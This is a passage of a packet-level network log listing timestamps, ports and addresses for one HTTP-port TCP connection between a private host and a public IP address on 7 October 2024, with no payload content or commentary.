Oct 7, 2024 18:43:38.881669998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881675005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881676912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881684065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881695986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881706953 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881724119 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881725073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881742001 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881742954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881757021 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881759882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881771088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881782055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881783009 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881793976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881803036 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881803036 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881814003 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881824970 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881829977 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881834984 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881846905 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881849051 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881860018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881875992 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881876945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881889105 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881900072 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881900072 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881912947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881922960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881925106 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881936073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881947041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881953955 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881958008 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881969929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881995916 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.882076025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.882086992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.882098913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.882110119 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.882122040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.882133961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.882141113 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.882145882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.882157087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.882169008 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.882184982 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.963885069 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.963901043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.963911057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.963983059 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964001894 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964010954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964021921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964032888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964042902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964054108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964063883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964129925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964140892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964149952 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964160919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964163065 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964163065 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964163065 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964163065 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964163065 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964163065 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964170933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964176893 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964180946 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964200974 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964219093 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964440107 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964454889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964463949 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964502096 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964576006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964586020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964596033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964606047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964616060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964617968 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964624882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964629889 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964658976 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964751005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964760065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964768887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964778900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964787960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964788914 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964799881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964806080 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964809895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964819908 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964821100 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964829922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964839935 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964848042 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964848995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964864969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964869976 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964874029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964883089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964884043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964893103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964905024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964911938 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964912891 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964922905 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.964936018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.964955091 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965007067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965015888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965025902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965038061 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965040922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965049982 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965055943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965065002 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965066910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965078115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965080023 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965096951 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965095997 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965102911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965105057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965106010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965110064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965116024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965118885 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965123892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965150118 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965163946 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965174913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965174913 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965184927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965194941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965202093 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965204954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965214968 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965225935 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965248108 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965413094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965423107 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965432882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965442896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965451956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965454102 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965461969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965471983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965472937 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965481043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965490103 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965507984 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965634108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965666056 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965728998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965738058 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965748072 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965759039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965764046 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965769053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965779066 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965795994 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965809107 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965822935 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.965965986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965976000 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965986013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.965996027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966003895 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966006041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966016054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966020107 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966026068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966036081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966048002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966051102 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966072083 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966092110 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966236115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966247082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966254950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966272116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966279030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966280937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966291904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966301918 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966303110 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966312885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966322899 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966341972 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966479063 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966490030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966510057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966519117 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966520071 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966530085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966537952 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966538906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966548920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966558933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966559887 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966568947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966578960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966588020 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966588974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966598988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966603041 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966609001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966618061 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966619968 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966634989 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966650009 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966733932 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966743946 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966753006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966763020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966763973 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966773033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966778994 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966783047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966794014 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966801882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966803074 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966814041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966816902 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966824055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966835022 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966835976 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966845036 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966855049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.966857910 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966880083 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.966895103 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.048898935 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.048913956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.048924923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.048934937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.048945904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.048955917 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.048959017 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.048968077 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049005032 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049299955 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049310923 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049319983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049330950 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049330950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049343109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049352884 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049355984 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049364090 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049381971 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049396992 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049448967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049459934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049469948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049479961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049482107 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049494028 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049514055 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049657106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049706936 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049822092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049833059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049841881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049853086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049863100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049863100 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049874067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049885035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049890995 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049895048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049905062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049906015 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049915075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049920082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049931049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049937010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049947977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049957991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049958944 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049968004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049977064 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049978971 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049988985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.049990892 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.049998045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050008059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050017118 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050018072 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050029039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050040007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050043106 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050050020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050060034 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050065994 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050093889 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050218105 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050229073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050237894 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050246954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050256014 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050271034 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050352097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050363064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050371885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050381899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050385952 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050391912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050401926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050406933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050411940 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050419092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050431967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050441980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050447941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050452948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050462961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050468922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050473928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050484896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050493002 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050493002 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050497055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:39.050503016 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:39.050509930 CEST	80	51632	95.164.90.97	192.168.2.4
